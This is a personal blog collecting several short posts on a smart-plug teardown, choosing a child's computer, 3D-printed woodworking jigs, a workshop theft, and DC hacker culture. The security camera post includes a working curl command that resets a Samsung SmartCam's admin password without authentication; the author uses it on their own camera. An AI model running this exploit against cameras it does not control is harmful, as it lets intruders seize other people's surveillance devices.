when a plug is not an endorsement

I wrote some years ago about ripping out some old Smarthome branded X10 compatible light switches. I should have kept one installed somewhere to remind me to not revisit the concept.

I'm being slowly sucked back into new ewaste items for the smarter home because the Samsung IP cameras I recently installed appear to be working happily. I was excited that I could bypass their apps trivially without ever downloading them.

The latest device to follow me home is a 'Wi-Fi Smart Plug' from D-Link.

The device is a surprisingly bulky box stuffed with a power board and a daughter board. The power board has the high-voltage side of the power supply for the electronics, a relay for controlling a load, and a PL8331 energy metering IC from Prolific.

The daughter board holds the Atheros AR1311 and the flash that make the box a computer. These parts also make the smart plug essentially indistinguishable from any of a thousand other products from a hundred other vendors all built on the same platform.

A clever soul posted a simple script to bypass all the appery associated with this gizmo but it may have been too much to hope for two purchases in a row to work out. I bought this gizmo at Micro Center. I don't know why I even go in that store. If there are two variants of a product in the wild, Micro Center is guaranteed to have the wrong one. If you want the vulnerable one, they have the patched one. If you want the secure one, they have the vulnerable one. It's all the proof I need that the LHC will find a luck particle someday.

My guess is that only the vulnerable devices were marketable and the demand for these boxes cratered one D-Link shipped one not worth making work. Perhaps Micro Center got someone else's overstock cheap.

Other intrepid souls have pursued the matter further. If I may paraphrase Newton -- if I have seen less far, it is because I could not be bothered to climb up to the shoulders of giants. This box goes straight to recycling.

alphabet by the numbers

Exciting times ahead as Silicon Valley fully innovates the chaebol model.

I had a long piece for you this morning about Alphabet pivoting away from Apple as role model to Samsung as role model. The punchline was that Alphabet has floated no fewer than two barges while Samsung manufactures barges with more interior space than Apple's old campus at 1 Infinite Loop.

The rest was a reminder that the Samsung Group is already an established player in automobiles, shipbuilding, consumer electronics, renewable energy, healthcare, aviation, and self-propelled artillery.

I concede the point that Alphabet companies dominate in internet search.

The piece ran off the rails. Every small research task, like tracking down sales of Samsung electric cars in 2013, slipped instead into a search for a new computer for my daughter.

My daughter turns seven this fall and she wants a new computer. She would like to use logo, control our printer, our Graphtec plotter, our 3d printer, and the milling machine. She would like to use her MIDI keyboard. She would like to use both latin and chinese characters. She is comfortable with our Macintoshes and with her iPad.

I would like the answer to be a touch screen laptop or a touch screen portable all-in-one of the type that Google, Samsung, Asus, and probably even the North Koreans now make but which Apple does not. I would also like the answer to be a machine that works properly offline, works without remote credentials, without signed code, and without requiring an app store.

MacOS is out (no touch). ChromeOS is out (no printing without credentials). Android is out (no non-Play browser with MIDI). iOS is out (requires an app store. No non-store browser with MIDI).

The best answer, somehow, may be Firefox on either Ubuntu or Windows 10. Best or not, I have not yet found a computer at any price that I can give my daughter without apologizing for it. With this task still looming over me, I guess I just don't care what Silicon Valley companies call themselves.

one bulb

I passed a Banana Republic in a shopping mall today. It's window bore the slogan "one bulb at a time" with the exhortation:

"If every US Household switched just one bulb to LED, the pollution reduction would be equal to removing 800,000 cars from the road. Let's brighten up the planet together."

The warmth in my heart when I read this was matched only by the warmth of the light on the display. The display was lit by a halogen reflector bulb.

laps and jigs

I told you last time about the loss of a bike I liked. The DC Metropolitan Police Department had some good news from me recently. I had not, in fact, been burgled after all. Thefts from detached structures, like my workshop, don't count as burglaries. They are just ordinary thefts. The good news, I suppose, is that the crime statistics for my neighborhood will reflect one less burglary.

The real good news is that the not-quite-burglar took just the bike and tried to wrench a cheap flat panel monitor off the wall. The milling machine went unmolested, the 3d printer unpurloined, and the oscilloscope appears to have been unobserved. The bicycle may have cost more per pound than other things in the workshop, but the value density per volume was really quite low.

I use a super-cheap CTC 3d printer (a knockoff of a knockoff of an old Makerbot replicator) and a small Sherline 5410 CNC mill to make lots of relatively small things. I make bike parts and car parts and things for my children. I make these though I have a large and growing backlog of larger carpentry, construction projects. Those wait because I'm a terrible carpenter.

I was taught, as a young engineering student, that you should not 'measure with micrometer, mark with chalk, and then cut with ax'. I would say that my cuts hew closer to ax had I never seen good ax work. Some of my cuts look like they were made by meteorite.

If I were a real artisan, I would just buckle down and practice. I might spend years first learning to build a quality workbench and then move on to the simple things that need to be built or repaired around my house. I'm not this kind of artisan. I don't think I could even be while I have small children.

My task of the week is to build a treehouse for my youngest son in time for his fall birthday. I have a design. I have the materials. I have the tools. I lack the traditional kind of workmanship that the project requires.

Some people drink courage from a bottle. I'm 3d printing courage. I am especially terrible at cross lap joints -- of which there are several in the treehouse I designed. I addressed this problem this time designing and 3d printing a lap joint gauge. It's great. The joints all came out perfectly.

a gauge for cross-lap joints

One of the best parts of this jig technology is that I don't need to fill my workshop with jigs. I can recycle them and print them again in future years. I have already pitched this jig. I have kept a 3d printed doweling jig that I now use all the time.

a doweling jig for 1x4 stock

My non-burglary didn't interfere with my ability to use the workshop (good news, said the police, no need to lift fingerprints for a simple theft!). I have taken it as a call to make sure that I get enough use out of it to make these occasional troubles seem inconsequential.

minor loss

I wrote in June about material science. My old bike and old car withstood time and environment in an impressive way. In the last two months, both have fallen to fellow man -- that third pillar of loss.

The BMW drove away with a dude at the wheel who never paid. The bike was stolen from my workshop last week.

I decided to up my camera game and install a few decent cameras in the workshop and the alley behind. I chose an indoor/outdoor Samsung Smartcam. I was looking for weatherproof camera that would work without a cloud service.

The Samsung seems to fit the bill. Good picture. Easy to install. Works without a cloud. Just right vulnerable. The box suggested that the camera worked with both viable operating systems -- Android and iOS. I hoped for a device that would work with the legacy Mac platform and bash. I was not disappointed.

The camera serves HTTP on port 80 but it wants some kind of activation. No problem! exploitee.rs  (by way of Google) told me that these cameras allow a user to smash the admin credentials. This will do the trick:

curl http://YOUR_CAMERA_IP_ADDRESS/classes/class_admin_privatekey.php --data 'data=NEW%3BYOUR_NEW_ADMIN_PASSWORD'

With this detail out of the way, the camera can serve 1920 x 1080 JPEG images at about a frame a second with this invocation:

curl -u admin:YOUR_NEW_ADMIN_PASSWORD --digest http://YOUR_CAMERA_IP_ADDRESS/cgi-bin/video.cgi?msubmenu=jpg

This was just what I wanted. Images in two minutes without reading a manual or visiting an app store. I expect the cameras work like homework on a snow day -- their happy functioning will practically guarantee no crime for a decade.

amiga

I have backed Brian Bagnall's new book 'Commodore: The Amiga Years' on Kickstarter and you should too. Right now. There are three days left.

I own, and devoured, Brian's earlier book 'On the Edge: The Spectacular Rise and Fall of Commodore'. This book and Nick Montfort's 'Racing the Beam: The Atari Video Computer System' should bookend your personal library on machines of that era.

(by the way, the West Coast dinner still has seats available. The robust East Coast hacker community has already devoured all the spaces for the Atlantic seating)

mommy, where do hackers come from?

People send me breathless articles like this about importing Silicon Valley disruptors into DC. Intelligent people send me these articles -- people who mean well.

I love Silicon Valley. I reject the premise of these articles out of hand. The wrong idea that hackers are somehow the choicest fruit from the Valley sets the stage for a new round of water shaming that will make almonds look good. They take just one gallon each. Any idea how many gallons it takes to bring a mature hacker to market?

I reject also the idea that Valley culture travels well. Take some actual cultures for example. Boudin, San Francisco's famous sourdough bakery, claims to still bake bread from the same starter cultured from wild yeast during the Gold Rush. For a time, Boudin sold starters derived from their master line. The experiment was a failure. These starters, once transplanted, were quickly colonized by local yeasts and lost the distinctive character of the original.

Yeast and hackers are alike in many ways. Perhaps this is why we find Conway's Game of Life so interesting. My experience is that local hacker cultures transplant about as well as sourdoughs. Olin Shivers wrote what remains the best exposition on the topic in 1987 -- though it seems less funny by the year.

I don't care for the idea that Washington, or government, hacker cultures want for anything. I worked at NASA in the DC area as a student and as a student I attended some of the earliest meetings of the DC Linux User's Group in 1994. This group included serious hackers. One, Donald Becker, wrote some of the earliest and best networking drivers for the Linux kernel. Several of those bear the copyright notice "Copyright 1993 United States Government as represented by the Director, National Security Agency". NSA would keep plugging away at Linux and follow up this GPL release in 2000 with the GPL release of SELinux. The earlier release may be one of the earliest releases of government code under the then-new second version of the GPL.

Becker himself became the hacker-in-chief of NASA's Beowulf project and released GPL code from NASA from 1994 to about 2000 before doing a cluster start-up.

These clusters and the genuine hacker spirit that made them go proliferated at federal agencies before anybody knew what a google was. Hackers have been at it in DC since the surveyors packed away their chains. DC was definitely a gelato desert during the worst of the Marion Barry years. DC didn't have a proper bocce bar until well into the 21st century. DC has never lacked hackers.

I can't argue that the U.S. Digital Service or 18F aren't doing something. I can argue that bringing hackers, or the Valley, into government isn't it. A better discussion in the press about what they are actually doing will make it possible for government to retain whatever the benefit when these particular hackers finish their hardship tours in DC.

Will they go? I don't know. I know that OPM put out a recruiting brochure in the late nineties with the title 'Look Ma! I'm a Bureaucrat'. It profiled just the kind of young folks in government that USDS and 18F would presumably like to recruit. A journalist who dug into these profiles found that a surprising number of these kids had already moved on from government service when he came calling. Maybe more will stay this time.

I left my NASA student gig in Greenbelt without ever thinking about a career there. I may not have looked back but I often think back to the strength of the hackers I met in government.

Long before OPM'S 'Look, Ma!' was a thing, the Department of Commerce ran the 'Experimental Technology Incentives Program' in the Nixon, Ford, and Carter administrations. A team of policy wonks performed actual experiments within a number of federal departments to encourage tech transfer or tech stimulation from government to industry -- the reverse of USDS and 18F. Perhaps a real experiment can be done with these new programs. Someone could build a control program and staff it with folks who already work for government and invent Silicon Valley resumes and identities for them and set them loose inside as a pack of disruptors. I hypothesize that people labelled 'disruptor' rise to the role.

I think it's OK that the young people in 'Look, Ma' didn't stick around. These proto-millenials were at the head of a generation that, so far, appears to not stick around.

I think it might be possible to build incentives that let government capture the best and brightest for multiple engagements over the course of their career instead of once, or never. Our legislative and judicial branches do not seem to lament their clockwork turnover of clerks and staffers.

On an unrelated note, mathematicians have the Mathematics Genealogy Project to trace their academic lineage. Hackers have no such resource (unless your last name happens to be 'Hacker', in which case the whole of Big Genealogy stands ready to help you find your relatives).